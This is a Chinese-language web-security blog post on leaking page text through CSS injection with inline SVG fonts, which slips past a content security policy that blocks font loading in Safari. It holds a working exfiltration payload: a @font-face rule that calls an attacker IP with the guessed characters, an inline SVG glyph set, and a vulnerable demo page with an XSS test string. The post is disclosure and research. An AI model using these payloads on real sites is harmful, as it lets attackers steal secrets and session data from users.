利用CSS与SVG字体实现数据渗漏的技术解析

本文详细介绍了如何通过CSS和SVG字体技术读取页面文本内容,特别适用于输入被清理或受CSP限制的场景。文章包含PoC演示和代码实现,帮助理解这一独特的数据渗漏方法。

数据渗漏 via CSS + SVG 字体

本文将展示如何利用SVG字体和CSS读取页面文本内容。目前已有多种通过CSS读取页面文本的已知方法,Juan Manuel Fernández的文章《CSS Injection Primitives :: DoomsDay Vault》对这些技术进行了全面覆盖。

这些技术在某些场景下对攻击者非常有用,例如当输入被清理、只能使用有限HTML标签,或因内容安全策略(CSP)限制无法使用JavaScript时。

今天我要介绍的技术便是其中之一,其基本思路与Michał Bentkowski的字体连字技巧相似(详见Stealing Data in Great style – How to Use CSS to Attack Web Application)。虽然思路基本相同,但我尚未见到有文章提及此方法,因此认为值得分享,特别是在Michał的技术因CSP限制无法使用时,本文介绍的技术能派上用场。

好了,假设你已经读过他的文章。如你所知,他使用了从SVG字体转换而来的WOFF字体。而我的技巧则直接使用SVG字体,无需转换。Michał曾提到“浏览器已停止支持SVG格式的字体(因此需使用WOFF格式)”,但事实上Safari仍支持SVG字体。

归根结底,我要介绍的技巧只是用SVG字体替换了他的方法。但之所以特意介绍,是因为即使字体加载被CSP阻止,SVG字体仍可使用。也就是说,在CSP禁止加载字体的页面上,SVG字体仍能读取文本内容。这是因为SVG字体不仅可以从URL加载(像WOFF字体一样),其所有组件还可以内联定义,无需从URL加载。

下面看看如何替换Michał的技巧。

在他的技巧中,WOFF字体通过<style>中的@font-face加载:

1
2
3
4
5
6
7
<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

此样式可替换为以下内联SVG:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<svg>
<defs>
<font horiz-adv-x="0">
    <font-face font-family="hack" units-per-em="1000"></font-face>
    <glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
    <glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
    <glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
    <glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
    <glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
    <glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
    [...]
</font>
</defs>
</svg>

现在,如果通过CSS将font-family属性设置为“hack”,SVG字体会应用到目标文本(即使在SVG外部)。即使设置了font-src 'none',此方法也不会被CSP阻止。(注意:为了观察泄漏数据,此技巧与Michał的技巧一样使用背景图片请求,因此至少需要在img-src指令中允许可观察请求的主机。)

我将展示PoC。假设存在如下漏洞页面:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
    <script id="leakme" nonce="random">
        const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
    </script>
    <script nonce="random">
        const params = (new URL(document.location)).searchParams;
        const xss = params.get('xss');
        if(xss){
            document.write(xss);
        }
    </script>
</body>
</html>

我将演示SVG字体如何泄漏“secret”变量。

你可以在Safari中打开以下URL并点击“Go”按钮来复现:

PoC: https://l0.cm/svg_font/poc.php

完整代码可在以下地址找到:https://github.com/masatokinugawa/css-exfiltration-svg-font

如果PoC正常工作,如视频所示,会打开多个新窗口,等待一段时间后,秘密变量的字符串会逐渐显示在含有“Go”按钮的页面上,例如“573b …”。

除了使用SVG字体外,这与Michał的PoC几乎相同,但有一些改动。在他的PoC中,他将目标页面加载到iframe中,而我的PoC使用了window.open()。这是因为Safari现在默认阻止所有第三方cookie,我认为使用iframe的攻击对Safari来说不太现实。此外,我改变了传递数据的方式。同样由于第三方cookie阻止,加载背景图片时无法设置cookie,因此我改用URL参数传递会话ID。

顺便一提,如果你习惯使用Chrome,可能会好奇为什么一次点击会打开多个新窗口。这是因为Safari有弹出窗口阻止程序,但对一次点击可打开的窗口数量没有限制。得益于此,可以使用多个窗口高效尝试读取数据。

就这样。感谢阅读!希望本文对你有所帮助。

发布者:Masato Kinugawa
时间:上午12:58
标签:CSP, CSS, Safari, 安全, SVG, XSS

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计